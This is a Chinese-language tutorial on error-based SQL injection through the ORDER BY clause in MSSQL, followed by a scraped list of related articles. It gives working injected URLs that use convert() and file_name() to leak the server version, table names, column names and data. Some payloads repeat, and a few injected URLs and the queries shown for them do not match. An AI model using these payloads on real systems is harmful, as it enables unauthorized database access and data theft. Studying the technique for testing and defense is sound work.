详解基于MSSQL “order by”语句报错的SQL注入技术
在本文中,我们要利用的SQL注入漏洞出现在下面的情形中:当用户提供的数据通过MSSQL的“Order By”语句中的值进行传递时,如果SQL查询中存在语法错误,那么应用程序就会抛出SQL Server错误。
如果用户提供的数据在“Order By”子句中作为列名传递给SQL查询的话,那么常规的“基于错误的SQL注入”漏洞利用技术就无法生效了。
由于SQL Server已经为SQL查询预定义了一套安全规则,因此,我们无法使用常规的“基于错误的SQL注入”技术来攻击应用程序中的SQL注入漏洞。
不过,由于用户可以在Order by子句之后指定函数名称,同时,有些SQL server函数可以执行以参数传入的查询,并尝试对注入的查询的结果执行某些操作,如果操作遇到问题就会抛出错误,所以,如果我们对这些函数进行注入攻击,那么这些函数就会暴露注入的SQL查询的结果——这就是我们的漏洞利用思路。
文章目录
· 漏洞利用
· 演示:
· 原文链接:
漏洞利用
下面我们开始介绍可用于基于错误的SQL注入攻击的函数。 ( 内容推荐>>>>>>SQL注入漏洞的分析与利用 ,可申请免费试听,联系牛油果,微信 1472301220)
实际上,确实有少数几个SQL server函数可以满足我们的要求:执行其参数指定的SQL查询,并对查询结果执行指定的操作,还能通过错误消息给出SQL查询结果。
Convert()就是满足上述要求的一个函数,它常用于基于错误的SQL注入攻击中,因为它会按照第一个参数中指定的数据类型对第二个参数执行转换操作。
例如,对于convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,无法进行指定的转换,所以,convert函数会抛出一个SQL server错误消息,指出“SQL查询结果”无法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。
下面列出满足上述要求的各个函数:
· convert()
· file_name()
· db_name()
· col_name()
· filegroup_name()
· object_name()
· schema_name()
· type_name()
· cast()
演示:
假设这里有一个包含SQL注入漏洞的URL,它会将HTTP GET方法中名为“order”的参数的值(该值由用户指定)传递给SQL查询。该URL如下所示:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name
然后,应用程序会从HTTP GET方法的参数“order”中接收用户提供的数据,并生成如下所示的SQL查询:
Select table_name,column_name from information_schema.columns order by column_name
convert() 函数
· 查询SQL server版本
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)
在后台实际执行的查询:
select table_name,column_name from information_schema.columns order by
convert(int,@@version)

· 提取当前数据库的表名
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)
table_name from information_schema.columns))
在后台实际执行的查询:
select table_name,column_name from information_schema.columns order by
CONVERT(int,(select top(1) table_name from information_schema.tables))
· 从表中提取列名
在提取列名的时候,我们可以使用cast()来规定要从哪些表中提取列名。需要注意的是,这里的表名是用“十六进制”形式表示的。
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)
COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
在后台实际执行的查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

· 提取表中的列数据
从数据表的列中提取数据实际上并不复杂,只需在SQL查询中指定列名和表名即可。在本例中,我使用的列名为’xserver_name’,表名为’spt_fallback_db’。
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1)
xserver_name from spt_fallback_db))
在后台实际执行的查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) xserver_name from spt_fallback_db))

file_name()函数
· 查询SQL server版本
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)
在后台实际执行的查询:
select table_name,column_name from information_schema.columns order by
file_name(@@version)

· 提取当前数据库的表名
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)
table_name from information_schema.columns))
在后台实际执行的查询:
select table_name,column_name from information_schema.columns order by
CONVERT(int,(select top(1) table_name from information_schema.tables))

· 从表中提取列名
在提取列名的时候,我们可以使用cast()来规定要从哪些表中提取列名。需要注意的是,这里的表名是用“十六进制”形式表示的。
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)
COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
在后台实际执行的查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

· 从表中提取列数据
从数据表中提取列数据其实很简单,只需在SQL查询中指定列名和表名即可。在本例中,我使用的列名为’xserver_name’,表名为’spt_fallback_db’。
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1)
xserver_name from spt_fallback_db))
在后台实际执行的查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
file_name((select top(1) xserver_name from spt_fallback_db))
详解基于MSSQL “order by”语句报错的SQL注入技术的更多相关文章
- 基于报错的SQL注入整理
SQLServer 一.利用错误消息提取信息 输入 'having 1=1 --(having一般要与group by一起来使用,group by是用来进行分组的,having后面是用来进行判断的), ...
- [MYSQL手工注入](3)基于报错的SQL注入实战
0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...
- nrf52——DFU升级USB/UART升级方式详解(基于SDK开发例程)
摘要:在前面的nrf52--DFU升级OTA升级方式详解(基于SDK开发例程)一文中我测试了基于蓝牙的OTA,本文将开始基于UART和USB(USB_CDC_)进行升级测试. 整体升级流程: 整个过程 ...
- HashMap实现详解 基于JDK1.8
HashMap实现详解 基于JDK1.8 1.数据结构 散列表:是一种根据关键码值(Key value)而直接进行访问的数据结构.采用链地址法处理冲突. HashMap采用Node<K,V> ...
- SSE技术详解:一种全新的HTML5服务器推送事件技术
前言 一般来说,Web端即时通讯技术因受限于浏览器的设计限制,一直以来实现起来并不容易,主流的Web端即时通讯方案大致有4种:传统Ajax短轮询.Comet技术.WebSocket技术.SSE(Ser ...
- 插入mysql语句报错:1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
插入一个很简单的sql语句时候,mysql一直报错: [SQL] INSERT INTO ORDER ( id, activity_id, order_type, phone, order_amoun ...
- 解决Mysql搭建成功后执行sql语句报错以及区分大小写问题
刚搭建完mysql 8.0以后会: 一.表区分大小写, 二.执行正确的sql语句成功且会报:[Err] 1055 - Expression #1 of ORDER BY clause is not i ...
- SQL语句报错(一)
SQL语句报错(一) 1.具体报错如下: ORA-01861:文字格式字符串不匹配 01861. 00000 - "literal does not match format string& ...
- (转)android import library switch语句报错case expressions must be constant expressions
今天当我从github上下载一个工程,并把它的库文件导入eclipse中,发现switch语句报错case expressions must be constant expressions : 解决方 ...
随机推荐
- Dynamics CRM项目实例之十:CRM 2015的捆绑销售在订单中的效果
关注本人微信和易信公众号: 微软动态CRM专家罗勇,回复141或者20150122可方便获取本文,同时可以在第一时间得到我发布的最新的博文信息,follow me! 上一篇博文我在素格格新 ...
- 自定义修改Anaconda Jupyterlab Home目录
自定义修改Anaconda Jupyterlab Home目录 最近在使用Anaconda学习数据分析和机器学习,会使用到Jupyter,但是他默认目录是用户的目录,我并没有习惯将项目和资料放在C盘, ...
- 3Delight NSI: A Streamable Render API
3Delight是应用于高端电影级别渲染的软件渲染器,迄今为止已经参与了无数的电影制作,具体可以参见链接. 如果你对3Delight的印象就依然是RenderMan的替代品,那就显然已经和时代发展脱节 ...
- STL源码剖析-vector
STL(Standard Template Library) C++标准模板库,acm选手一定对它不陌生,除了算法,那几乎是“吃饭的家伙了”.我们使用库函数非常方便,且非常高效(相对于自己实现来说). ...
- 安装CentOs 7.3
步 下载安装 CentOS 7.3 下载地址 1.官网:https://www.centos.org/download/ 2.centos阿里汇总:https://yq.aliyun.com/zt/ ...
- nginx地址代理(2)
本章要讲的是服务器的代理: Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器, 一对一代理:就一个服务器监听 server { listen ...
- Vue的安装及使用快速入门
一.安装vue 1.安装node.js,安装完node.js之后,npm也会自动安装 查询是否安装成功的命令: node -v npm -v 2.全局安装脚手架工具vue-cli,命令如下: npm ...
- 《JavaScript设计模式与开发实践》笔记第一章
第一章 面向对象的JavaScript 动态类型语言和鸭子类型 编程语言按照数据类型大体可以分为两类:静态类型语言.动态类型语言. 静态类型语言:在编译时便已确定变量的类型. 优点: 在编译时就能发现 ...
- Spring缓存注解@Cacheable、@CacheEvict、@CachePut使用(转)
原文地址:https://www.cnblogs.com/fashflying/p/6908028.html 从3.1开始,Spring引入了对Cache的支持.其使用方法和原理都类似于Spring对 ...
- Java的selenium代码随笔(6)
//获取元素列表public List<WebElement> ListElements(WebElement webElement, By parentBy, By childrenBy ...